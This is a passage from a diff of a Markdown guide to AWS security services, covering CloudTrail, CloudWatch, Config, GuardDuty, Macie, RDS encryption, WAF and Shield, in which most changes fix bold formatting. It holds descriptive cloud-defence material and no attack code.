at $1.88 per hour of operation, or approximately $1,373 per month. The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. -The** public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. ## Amazon Athena -Amazon Athena is an interactive query service that makes it easy to **analyze data **directly in Amazon Simple Storage Service (Amazon **S3**) **using **standard **SQL**. +Amazon Athena is an interactive query service that makes it easy to **analyze data** directly in Amazon Simple Storage Service (Amazon **S3**) **using** standard **SQL**. -You need to** prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from th logs, so you can query it. +You need to **prepare a relational DB table** with the format of the content that is going to appear in the monitored S3 buckets. And then, Amazon Athena will be able to populate the DB from th logs, so you can query it. Amazon Athena supports the **hability to query S3 data that is already encrypted** and if configured to do so, **Athena can also encrypt the results of the query which can then be stored in S3**. -**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted **with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. +**This encryption of results is independent of the underlying queried S3 data**, meaning that even if the S3 data is not encrypted, the queried results can be encrypted. A couple of points to be aware of is that Amazon Athena only supports data that has been **encrypted** with the **following S3 encryption methods**, **SSE-S3, SSE-KMS, and CSE-KMS**. SSE-C and CSE-E are not supported. In addition to this, it's important to understand that Amazon Athena will only run queries against **encrypted objects that are in the same region as the query itself**. If you need to query S3 data that's been encrypted using KMS, then specific permissions are required by the Athena user to enable them to perform the query. ## AWS CloudTrail -This service** tracks and monitors AWS API calls made within the environment**. Each call to an API (event) is logged. Each logged event contains: +This service **tracks and monitors AWS API calls made within the environment**. Each call to an API (event) is logged. Each logged event contains: * The name of the called API: `eventName` * The called service: `eventSource` @@ -362,7 +362,7 @@ This service** tracks and monitors AWS API calls made within the environment**. * The request parameters: `requestParameters` * The response elements: `responseElements` -Event's are written to a new log file** approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ +Event's are written to a new log file **approximately each 5 minutes in a JSON file**, they are held by CloudTrail and finally, log files are **delivered to S3 approximately 15mins after**.\ CloudTrail allows to use **log file integrity in order to be able to verify that your log files have remained unchanged** since CloudTrail delivered them to you. It creates a SHA-256 hash of the logs inside a digest file. A sha-256 hash of the new logs is created every hour.\ When creating a Trail the event selectors will allow you to indicate the trail to log: Management, data or insights events. @@ -378,7 +378,7 @@ Logs are saved in an S3 bucket. By default Server Side Encryption is used (SSE-S Note that the folders "_AWSLogs_" and "_CloudTrail_" are fixed folder names, -**Digest **files have a similar folders path: +**Digest** files have a similar folders path: ![](<../.gitbook/assets/image (437).png>) @@ -401,7 +401,7 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### Logs to CloudWatch **CloudTrail can automatically send logs to CloudWatch so you can set alerts that warns you when suspicious activities are performed.**\ -Note that in order to allow CloudTrail to send the logs to CloudWatch a **role **needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: +Note that in order to allow CloudTrail to send the logs to CloudWatch a **role** needs to be created that allows that action. If possible, it's recommended to use AWS default role to perform these actions. This role will allow CloudTrail to: * CreateLogStream: This allows to create a CloudWatch Logs log streams * PutLogEvents: Deliver CloudTrail logs to CloudWatch Logs log stream @@ -414,11 +414,11 @@ CloudTrail Event History allows you to inspect in a table the logs that have bee ### Insights -**CloudTrail Insights** automatically **analyzes **write management events from CloudTrail trails and **alerts **you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier **than ever. +**CloudTrail Insights** automatically **analyzes** write management events from CloudTrail trails and **alerts** you to **unusual activity**. For example, if there is an increase in `TerminateInstance` events that differs from established baselines, you’ll see it as an Insight event. These events make **finding and responding to unusual API activity easier** than ever. ## CloudWatch -Amazon CloudWatch allows to** collect all of your logs in a single repository** where you can create **metrics **and **alarms **based on the logs.\ +Amazon CloudWatch allows to **collect all of your logs in a single repository** where you can create **metrics** and **alarms** based on the logs.\ CloudWatch Log Event have a **size limitation of 256KB of each log line**. You can monitor for example logs from CloudTrail.\ @@ -435,9 +435,9 @@ Events that are monitored: You can install agents insie your machines/containers to automatically send the logs back to CloudWatch. -* **Create **a **role **and **attach **it to the **instance **with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -* **Download **and **install **the **agent **onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage -* **Configure **and **start **the CloudWatch Agent +* **Create** a **role** and **attach** it to the **instance** with permissions allowing CloudWatch to collect data from the instances in addition to interacting with AWS systems manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +* **Download** and **install** the **agent** onto the EC2 instance ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). You can download it from inside the EC2 or install it automatically using AWS System Manager selecting the package AWS-ConfigureAWSPackage +* **Configure** and **start** the CloudWatch Agent A log group has many streams. A stream has many events. And inside of each stream, the events are guaranteed to be in order. @@ -456,10 +456,10 @@ Also, they can be used for non cost related monitoring like the usage of a servi AWS Config **capture resource changes**, so any change to a resource supported by Config can be recorded, which will **record what changed along with other useful metadata, all held within a file known as a configuration item**, a CI.\ This service is **region specific**. -A configuration item or **CI **as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. +A configuration item or **CI** as it's known, is a key component of AWS Config. It is comprised of a JSON file that **holds the configuration information, relationship information and other metadata as a point-in-time snapshot view of a supported resource**. All the information that AWS Config can record for a resource is captured within the CI. A CI is created **every time** a supported resource has a change made to its configuration in any way. In addition to recording the details of the affected resource, AWS Config will also record CIs for any directly related resources to ensure the change did not affect those resources too. * **Metadata**: Contains details about the configuration item itself. A version ID and a configuration ID, which uniquely identifies the CI. Ither information can include a MD5Hash that allows you to compare other CIs already recorded against the same resource. -* **Attributes**: This holds common** attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance +* **Attributes**: This holds common **attribute information against the actual resource**. Within this section, we also have a unique resource ID, and any key value tags that are associated to the resource. The resource type is also listed. For example, if this was a CI for an EC2 instance, the resource types listed could be the network interface, or the elastic IP address for that EC2 instance * **Relationships**: This holds information for any connected **relationship that the resource may have**. So within this section, it would show a clear description of any relationship to other resources that this resource had. For example, if the CI was for an EC2 instance, the relationship section may show the connection to a VPC along with the subnet that the EC2 instance resides in. * **Current configuration:** This will display the same information that would be generated if you were to perform a describe or list API call made by the AWS CLI. AWS Config uses the same API calls to get the same information. * **Related events**: This relates to AWS CloudTrail. This will display the **AWS CloudTrail event ID that is related to the change that triggered the creation of this CI**. There is a new CI made for every change made against a resource. As a result, different CloudTrail event IDs will be created. @@ -475,7 +475,7 @@ A configuration item or **CI **as it's known, is a key component of AWS Config. ### Config Rules Config rules are a great way to help you **enforce specific compliance checks** **and controls across your resources**, and allows you to adopt an ideal deployment specification for each of your resource types. Each rule **is essentially a lambda function** that when called upon evaluates the resource and carries out some simple logic to determine the compliance result with the rule. **Each time a change is made** to one of your supported resources, **AWS Config will check the compliance against any config rules that you have in place**.\ -AWS have a number of **predefined rules **that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. +AWS have a number of **predefined rules** that fall under the security umbrella that are ready to use. For example, Rds-storage-encrypted. This checks whether storage encryption is activated by your RDS database instances. Encrypted-volumes. This checks to see if any EBS volumes that have an attached state are encrypted. * **AWS Managed rules**: Set of predefined rules that cover a lot of best practices, so it's always worth browsing these rules first before setting up your own as there is a chance that the rule may already exist. * **Custom rules**: You can create your own rules to check specific customconfigurations. @@ -512,7 +512,7 @@ You can make any of those run on the EC2 machines you decide. * Rules packages to be used * Duration of the assessment run 15min/1hour/8hours * SNS topics, select when notify: Starts, finished, change state, reports a finding -* Attributes to b assigned to findings +* Attributes to b assigned to findings **Rule package**: Contains a number of individual rules that are check against an EC2 when an assessment is run. Each one also have a severity (high, medium, low, informational). The possibilities are: @@ -525,34 +525,34 @@ Once you have configured the Amazon Inspector Role, the AWS Agents are Installed Amazon Inspector has a pre-defined set of rules, grouped into packages. Each Assessment Template defines which rules packages to be included in the test. Instances are being evaluated against rules packages included in the assessment template. {% hint style="info" %} -Note that nowadays AWS already allow you to **autocreate **all the necesary **configurations **and even automatically **install the agents inside the EC2 instances.** +Note that nowadays AWS already allow you to **autocreate** all the necesary **configurations** and even automatically **install the agents inside the EC2 instances.** {% endhint %} ### **Reporting** **Telemetry**: data that is collected from an instance, detailing its configuration, behavior and processes during an assessment run. Once collected, the data is then sent back to Amazon Inspector in near-real-time over TLS where it is then stored and encrypted on S3 via an ephemeral KMS key. Amazon Inspector then accesses the S3 Bucket, decrypts the data in memory, and analyzes it against any rules packages used for that assessment to generate the findings. -**Assessment Report**: Provide details on what was assessed and the results of the assessment. +**Assessment Report**: Provide details on what was assessed and the results of the assessment. * The **findings report** contain the summary of the assessment, info about the EC2 and rules and the findings that occurred. -* The **full report **is the finding report + a list of rules that were passed. +* The **full report** is the finding report + a list of rules that were passed. ## Trusted Advisor -The main function of Trusted Advisor is to** recommend improvements across your AWS account** to help optimize and hone your environment based on **AWS best practices**. These recommendations cover four distinct categories. It's a is a cross-region service. +The main function of Trusted Advisor is to **recommend improvements across your AWS account** to help optimize and hone your environment based on **AWS best practices**. These recommendations cover four distinct categories. It's a is a cross-region service. 1. **Cost optimization:** which helps to identify ways in which you could **optimize your resources** to save money. 2. **Performance:** This scans your resources to highlight any **potential performance issues** across multiple services. 3. **Security:** This category analyzes your environment for any **potential security weaknesses** or vulnerabilities. -4. **Fault tolerance:** Which suggests best practices to** maintain service operations** by increasing resiliency should a fault or incident occur across your resources. +4. **Fault tolerance:** Which suggests best practices to **maintain service operations** by increasing resiliency should a fault or incident occur across your resources. -The full power and potential of AWS Trusted Advisor is only really **available if you have a business or enterprise support plan with AWS**. **Without **either of these plans, then you will only have access to** six core checks** that are freely available to everyone. These free core checks are split between the performance and security categories, with the majority of them being related to security. These are the 6 checks: service limits, Security Groups Specific Ports Unrestricted, Amazon EBS Public Snapshots, Amazon RDS Public Snapshots, IAM Use, and MFA on root account.\ +The full power and potential of AWS Trusted Advisor is only really **available if you have a business or enterprise support plan with AWS**. **Without** either of these plans, then you will only have access to **six core checks** that are freely available to everyone. These free core checks are split between the performance and security categories, with the majority of them being related to security. These are the 6 checks: service limits, Security Groups Specific Ports Unrestricted, Amazon EBS Public Snapshots, Amazon RDS Public Snapshots, IAM Use, and MFA on root account.\ Trusted advisor can send notifications and you can exclude items from it.\ -Trusted advisor data is** automatically refreshed every 24 hours**, **but **you can perform a **manual one 5 mins after the previous one.** +Trusted advisor data is **automatically refreshed every 24 hours**, **but** you can perform a **manual one 5 mins after the previous one.** ## Amazon GuardDuty -Amazon GuardDuty is a regional-based intelligent **threat detection service**, the first of its kind offered by AWS, which allows users to **monitor **their **AWS account **for **unusual and unexpected behavior by analyzing VPC Flow Logs, AWS CloudTrail management event logs, Cloudtrail S3 data event logs, and DNS logs**. It uses **threat intelligence feeds**, such as lists of malicious IP addresses and domains, and **machine learning** to identify **unexpected and potentially unauthorized and malicious activity** within your AWS environment. This can include issues like escalations of privileges, uses of exposed credentials, or communication with malicious IP addresses, or domains.\ +Amazon GuardDuty is a regional-based intelligent **threat detection service**, the first of its kind offered by AWS, which allows users to **monitor** their **AWS account** for **unusual and unexpected behavior by analyzing VPC Flow Logs, AWS CloudTrail management event logs, Cloudtrail S3 data event logs, and DNS logs**. It uses **threat intelligence feeds**, such as lists of malicious IP addresses and domains, and **machine learning** to identify **unexpected and potentially unauthorized and malicious activity** within your AWS environment. This can include issues like escalations of privileges, uses of exposed credentials, or communication with malicious IP addresses, or domains.\ For example, GuardDuty can detect compromised EC2 instances serving malware or mining bitcoin. It also monitors AWS account access behavior for signs of compromise, such as unauthorized infrastructure deployments, like instances deployed in a Region that has never been used, or unusual API calls, like a password policy change to reduce password strength.\ You can **upload list of whitelisted and blacklisted IP addresses** so GuardDuty takes that info into account. @@ -584,12 +584,12 @@ If you just stop it, the existing findings will remain. ## Amazon Macie -The main function of the service is to provide an automatic method of **detecting, identifying, and also classifying data **that you are storing within your AWS account. +The main function of the service is to provide an automatic method of **detecting, identifying, and also classifying data** that you are storing within your AWS account. The service is backed by **machine learning**, allowing your data to be actively reviewed as different actions are taken within your AWS account. Machine learning can spot access patterns and **user behavior** by analyzing **cloud trail event** data to **alert against any unusual or irregular activity**. Any findings made by Amazon Macie are presented within a dashboard which can trigger alerts, allowing you to quickly resolve any potential threat of exposure or compromise of your data. Amazon Macie will automatically and continuously **monitor and detect new data that is stored in Amazon S3**. Using the abilities of machine learning and artificial intelligence, this service has the ability to familiarize over time, access patterns to data. \ -Amazon Macie also uses natural language processing methods to **classify and interpret different data types and content**. NLP uses principles from computer science and computational linguistics to look at the interactions between computers and the human language. In particular, how to program computers to understand and decipher language data. The **service can automatically assign business values to data that is assessed in the form of a risk score**. This enables Amazon Macie to order findings on a priority basis, enabling you to focus on the most critical alerts first. In addition to this, Amazon Macie also has the added benefit of being able to **monitor and discover security changes governing your data**. As well as identify specific security-centric data such as access keys held within an S3 bucket. +Amazon Macie also uses natural language processing methods to **classify and interpret different data types and content**. NLP uses principles from computer science and computational linguistics to look at the interactions between computers and the human language. In particular, how to program computers to understand and decipher language data. The **service can automatically assign business values to data that is assessed in the form of a risk score**. This enables Amazon Macie to order findings on a priority basis, enabling you to focus on the most critical alerts first. In addition to this, Amazon Macie also has the added benefit of being able to **monitor and discover security changes governing your data**. As well as identify specific security-centric data such as access keys held within an S3 bucket. This protective and proactive security monitoring enables Amazon Macie to identify critical, sensitive, and security focused data such as API keys, secret keys, in addition to PII (personally identifiable information) and PHI data. @@ -615,7 +615,7 @@ Pre-defined alerts categories: * Service disruption * Suspicious access -The **alert summary** provides detailed information to allow you to respond appropriately. It has a description that provides a deeper level of understanding of why it was generated. It also has a breakdown of the results. +The **alert summary** provides detailed information to allow you to respond appropriately. It has a description that provides a deeper level of understanding of why it was generated. It also has a breakdown of the results. The user has the possibility to create new custom alerts. @@ -693,7 +693,7 @@ Limitations: * Traffic relating to an Amazon Windows activation license from a Windows instance * Traffic between a network load balancer interface and an endpoint network interface -For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these** logs captures data during a window of approximately 10 to 15 minutes**. +For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**. ![](<../.gitbook/assets/image (432).png>) @@ -707,11 +707,11 @@ A subnet cannot be in different availability zones at the same time. By having **multiple Subnets with similar resources grouped together**, it allows for greater security management. By implementing **network level virtual firewalls,** called network access control lists, or **NACLs**, it's possible to **filter traffic** on specific ports from both an ingress and egress point at the Subnet level. -When you create a subnet the **network **and **broadcast address **of the subnet **can't be used** for host addresses and **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. +When you create a subnet the **network** and **broadcast address** of the subnet **can't be used** for host addresses and **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use. It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.** -In order to make a subnet public you need to **create **and **attach **an **Internet gateway** to your VPC. This Internet gateway is a managed service, controlled, configured, and maintained by AWS. It scales horizontally automatically, and is classified as a highly valuable component of your VPC infrastructure. Once your Internet gateway is attached to your VPC, you have a gateway to the Internet. However, at this point, your instances have no idea how to get out to the Internet. As a result, you need to add a default route to the route table associated with your subnet. The route could have a **destination value of 0.0. 0. 0/0, and the target value will be set as your Internet gateway ID**. +In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC. This Internet gateway is a managed service, controlled, configured, and maintained by AWS. It scales horizontally automatically, and is classified as a highly valuable component of your VPC infrastructure. Once your Internet gateway is attached to your VPC, you have a gateway to the Internet. However, at this point, your instances have no idea how to get out to the Internet. As a result, you need to add a default route to the route table associated with your subnet. The route could have a **destination value of 0.0. 0. 0/0, and the target value will be set as your Internet gateway ID**. By default, all subnets have the automatic assigned of public IP addresses turned off but it can be turned on. @@ -721,10 +721,10 @@ If you are **connection a subnet with a different subnet you cannot access the s ### VPC Peering -VPC peering allows you to** connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. +VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network. -Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As** peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ -If you have** overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ +Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\ +If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\ Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.** ## AWS Secrets Manager @@ -741,35 +741,35 @@ To allow a user form a different account to access your secret you need to autho ## EMR -EMR is a managed service by AWS and is comprised of a** cluster of EC2 instances that's highly scalable** to process and run big data frameworks such Apache Hadoop and Spark. +EMR is a managed service by AWS and is comprised of a **cluster of EC2 instances that's highly scalable** to process and run big data frameworks such Apache Hadoop and Spark. -From EMR version 4.8.0 and onwards, we have the ability to create a** security configuration** specifying different settings on **how to manage encryption for your data within your clusters**. You can either encrypt your data at rest, data in transit, or if required, both together. The great thing about these security configurations is they're not actually a part of your EC2 clusters. +From EMR version 4.8.0 and onwards, we have the ability to create a **security configuration** specifying different settings on **how to manage encryption for your data within your clusters**. You can either encrypt your data at rest, data in transit, or if required, both together. The great thing about these security configurations is they're not actually a part of your EC2 clusters. One key point of EMR is that **by default, the instances within a cluster do not encrypt data at rest**. Once enabled, the following features are available. -* **Linux Unified Key Setup:** EBS cluster volumes can be encrypted using this method whereby you can specify AWS **KMS **to be used as your key management provider, or use a custom key provider. +* **Linux Unified Key Setup:** EBS cluster volumes can be encrypted using this method whereby you can specify AWS **KMS** to be used as your key management provider, or use a custom key provider. * **Open-Source HDFS encryption:** This provides two Hadoop encryption options. Secure Hadoop RPC which would be set to privacy which uses simple authentication security layer, and data encryption of HDFS Block transfer which would be set to true to use the AES-256 algorithm. -From an encryption in transit perspective, you could enable **open source transport layer security **encryption features and select a certificate provider type which can be either PEM where you will need to manually create PEM certificates, bundle them up with a zip file and then reference the zip file in S3 or custom where you would add a custom certificate provider as a Java class that provides encryption artefacts. +From an encryption in transit perspective, you could enable **open source transport layer security** encryption features and select a certificate provider type which can be either PEM where you will need to manually create PEM certificates, bundle them up with a zip file and then reference the zip file in S3 or custom where you would add a custom certificate provider as a Java class that provides encryption artefacts. -Once the TLS certificate provider has been configured in the security configuration file, the following encryption applications specific encryption features can be enabled which will vary depending on your EMR version. +Once the TLS certificate provider has been configured in the security configuration file, the following encryption applications specific encryption features can be enabled which will vary depending on your EMR version. * Hadoop might reduce encrypted shuffle which uses TLS. Both secure Hadoop RPC which uses Simple Authentication Security Layer, and data encryption of HDFS Block Transfer which uses AES-256, are both activated when at rest encryption is enabled in the security configuration. -* Presto: When using EMR version 5.6.0 and later, any internal communication between Presto nodes will use SSL and TLS. +* Presto: When using EMR version 5.6.0 and later, any internal communication between Presto nodes will use SSL and TLS. * Tez Shuffle Handler uses TLS. * Spark: The Akka protocol uses TLS. Block Transfer Service uses Simple Authentication Security Layer and 3DES. External shuffle service uses the Simple Authentication Security Layer. ## RDS - Relational Database Service -RDS allows you to set up a **relational database **using a number of** different engines **such as MySQL, Oracle, SQL Server, etc. During the creation of your RDS database instance, you have the opportunity to **Enable Encryption at the Configure Advanced Settings** screen under Database Options and Enable Encryption. +RDS allows you to set up a **relational database** using a number of **different engines** such as MySQL, Oracle, SQL Server, etc. During the creation of your RDS database instance, you have the opportunity to **Enable Encryption at the Configure Advanced Settings** screen under Database Options and Enable Encryption. -By enabling your encryption here, you are enabling** encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**. It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. +By enabling your encryption here, you are enabling **encryption at rest for your storage, snapshots, read replicas and your back-ups**. Keys to manage this encryption can be issued by using **KMS**. It's not possible to add this level of encryption after your database has been created. **It has to be done during its creation**. However, there is a **workaround allowing you to encrypt an unencrypted database as follows**. You can create a snapshot of your unencrypted database, create an encrypted copy of that snapshot, use that encrypted snapshot to create a new database, and then, finally, your database would then be encrypted. Amazon RDS **sends data to CloudWatch every minute by default.** -In addition to encryption offered by RDS itself at the application level, there are **additional platform level encryption mechanisms** that could be used for protecting data at rest including** Oracle and SQL Server Transparent Data Encryption**, known as TDE, and this could be used in conjunction with the method order discussed but it would** impact the performance** of the database MySQL cryptographic functions and Microsoft Transact-SQL cryptographic functions. +In addition to encryption offered by RDS itself at the application level, there are **additional platform level encryption mechanisms** that could be used for protecting data at rest including **Oracle and SQL Server Transparent Data Encryption**, known as TDE, and this could be used in conjunction with the method order discussed but it would **impact the performance** of the database MySQL cryptographic functions and Microsoft Transact-SQL cryptographic functions. If you want to use the TDE method, then you must first ensure that the database is associated to an option group. Option groups provide default settings for your database and help with management which includes some security features. However, option groups only exist for the following database engines and versions. @@ -777,17 +777,17 @@ Once the database is associated with an option group, you must ensure that the O ## Amazon Kinesis Firehouse -Amazon Firehose is used to deliver **real-time streaming data to different services **and destinations within AWS, many of which can be used for big data such as S3 Redshift and Amazon Elasticsearch. +Amazon Firehose is used to deliver **real-time streaming data to different services** and destinations within AWS, many of which can be used for big data such as S3 Redshift and Amazon Elasticsearch. -The service is fully managed by AWS, taking a lot of the administration of maintenance out of your hands. Firehose is used to receive data from your data producers where it then automatically delivers the data to your chosen destination. +The service is fully managed by AWS, taking a lot of the administration of maintenance out of your hands. Firehose is used to receive data from your data producers where it then automatically delivers the data to your chosen destination. Amazon Streams essentially collects and processes huge amounts of data in real time and makes it available for consumption. This data can come from a variety of different sources. For example, log data from the infrastructure, social media, web clicks during feeds, market data, etc. So now we have a high-level overview of each of these. We need to understand how they implement encryption of any data process in stored should it be required. -When clients are **sending data to Kinesis in transit**, the data can be sent over **HTTPS**, which is HTTP with SSL encryption. However, once it enters the Kinesis service, it is then unencrypted by default. Using both **Kinesis Streams and Firehose encryption, you can assure your streams remain encrypted up until the data is sent to its final destination. **As **Amazon Streams **now has the ability to implement SSE encryption using KMS to **encrypt data as it enters the stream** directly from the producers. +When clients are **sending data to Kinesis in transit**, the data can be sent over **HTTPS**, which is HTTP with SSL encryption. However, once it enters the Kinesis service, it is then unencrypted by default. Using both **Kinesis Streams and Firehose encryption, you can assure your streams remain encrypted up until the data is sent to its final destination.** As **Amazon Streams** now has the ability to implement SSE encryption using KMS to **encrypt data as it enters the stream** directly from the producers. -If Amazon **S3 **is used as a **destination**, Firehose can implement encryption using **SSE-KMS on S3**. +If Amazon **S3** is used as a **destination**, Firehose can implement encryption using **SSE-KMS on S3**. As a part of this process, it's important to ensure that both producer and consumer applications have permissions to use the KMS key. Otherwise encryption and decryption will not be possible, and you will receive an unauthorized KMS master key permission error. @@ -839,26 +839,26 @@ So there are a number of essential components relating to WAF, these being: Cond Conditions allow you to specify **what elements of the incoming HTTP or HTTPS request you want WAF to be monitoring** (XSS, GEO - filtering by location-, IP address, Size constraints, SQL Injection attacks, strings and regex matching). Note that if you are restricting a country from cloudfront, this request won't arrive to the waf. -You can have** 100 conditions of each type**, such as Geo Match or size constraints, however **Regex** is the **exception **to this rule where **only 10 Regex** conditions are allowed but this limit is possible to increase. You are able to have **100 rules and 50 Web ACLs per AWS account**. You are limited to **5 rate-based-rules **per account. Finally you can have **10,000 requests per second **when **using WAF** within your application load balancer. +You can have **100 conditions of each type**, such as Geo Match or size constraints, however **Regex** is the **exception** to this rule where **only 10 Regex** conditions are allowed but this limit is possible to increase. You are able to have **100 rules and 50 Web ACLs per AWS account**. You are limited to **5 rate-based-rules** per account. Finally you can have **10,000 requests per second** when **using WAF** within your application load balancer. ### Rules Using these conditions you can create rules: For example, block request if 2 conditions are met.\ -When creating your rule you will be asked to select a **Rule Type**: **Regular Rule** or **Rate-Based Rule**. +When creating your rule you will be asked to select a **Rule Type**: **Regular Rule** or **Rate-Based Rule**. -The only **difference **between a rate-based rule and a regular rule is that **rate-based** rules **count **the **number **of **requests **that are being received from a particular IP address over a time period of **five minutes**. +The only **difference** between a rate-based rule and a regular rule is that **rate-based** rules **count** the **number** of **requests** that are being received from a particular IP address over a time period of **five minutes**. -When you select a rate-based rule option, you are asked to **enter the maximum number of requests from a single IP within a five minute time frame**. When the count limit is **reached**,** all other requests from that same IP address is then blocked**. If the request rate falls back below the rate limit specified the traffic is then allowed to pass through and is no longer blocked. When setting your rate limit it **must be set to a value above 2000**. Any request under this limit is considered a Regular Rule. +When you select a rate-based rule option, you are asked to **enter the maximum number of requests from a single IP within a five minute time frame**. When the count limit is **reached**, **all other requests from that same IP address is then blocked**. If the request rate falls back below the rate limit specified the traffic is then allowed to pass through and is no longer blocked. When setting your rate limit it **must be set to a value above 2000**. Any request under this limit is considered a Regular Rule. ### Actions -An action is applied to each rule, these actions can either be **Allow**, **Block **or **Count**. +An action is applied to each rule, these actions can either be **Allow**, **Block** or **Count**. -* When a request is **allowed**, it is **forwarded **onto the relevant CloudFront distribution or Application Load Balancer. -* When a request is **blocked**, the request is **terminated **there and no further processing of that request is taken. -* A **Count **action will **count the number of requests that meet the conditions** within that rule. This is a really good option to select when testing the rules to ensure that the rule is picking up the requests as expected before setting it to either Allow or Block. +* When a request is **allowed**, it is **forwarded** onto the relevant CloudFront distribution or Application Load Balancer. +* When a request is **blocked**, the request is **terminated** there and no further processing of that request is taken. +* A **Count** action will **count the number of requests that meet the conditions** within that rule. This is a really good option to select when testing the rules to ensure that the rule is picking up the requests as expected before setting it to either Allow or Block. -If an **incoming request does not meet any rule** within the Web ACL then the request takes the action associated to a** default action** specified which can either be **Allow **or **Block**. An important point to make about these rules is that they are **executed in the order that they are listed within a Web ACL**. So be careful to architect this order correctly for your rule base, **typically **these are **ordered **as shown: +If an **incoming request does not meet any rule** within the Web ACL then the request takes the action associated to a **default action** specified which can either be **Allow** or **Block**. An important point to make about these rules is that they are **executed in the order that they are listed within a Web ACL**. So be careful to architect this order correctly for your rule base, **typically** these are **ordered** as shown: 1. WhiteListed Ips as Allow. 2. BlackListed IPs Block @@ -872,7 +872,7 @@ WAF CloudWatch metrics are reported **in one minute intervals by default** and a AWS Firewall Manager simplifies your administration and maintenance tasks across multiple accounts and resources for **AWS WAF, AWS Shield Advanced, Amazon VPC security groups, and AWS Network Firewall**. With Firewall Manager, you set up your AWS WAF firewall rules, Shield Advanced protections, Amazon VPC security groups, and Network Firewall firewalls just once. The service **automatically applies the rules and protections across your accounts and resources**, even as you add new resources. -It can **group and protect specific resources together**, for example, all resources with a particular tag or all of your CloudFront distributions. One key benefit of Firewall Manager is that it** automatically protects certain resources that are added** to your account as they become active. +It can **group and protect specific resources together**, for example, all resources with a particular tag or all of your CloudFront distributions. One key benefit of Firewall Manager is that it **automatically protects certain resources that are added** to your account as they become active. **Requisites**: Created a Firewall Manager Master Account, setup an AWS organization and have added our member accounts and enable AWS Config. @@ -884,9 +884,9 @@ A **rule group** (a set of WAF rules together) can be added to an AWS Firewall M AWS Shield has been designed to help **protect your infrastructure against distributed denial of service attacks**, commonly known as DDoS. -**AWS Shield Standard** is **free **to everyone, and it offers DDoS **protection **against some of the more common layer three, the **network layer**, and layer four,** transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. +**AWS Shield Standard** is **free** to everyone, and it offers DDoS **protection** against some of the more common layer three, the **network layer**, and layer four, **transport layer**, DDoS attacks. This protection is integrated with both CloudFront and Route 53. -**AWS Shield advanced** offers a** greater level of protection** for DDoS attacks across a wider scope of AWS services for an additional cost. This advanced level offers protection against your web applications running on EC2, CloudFront, ELB and also Route 53. In addition to these additional resource types being protected, there are enhanced levels of DDoS protection offered 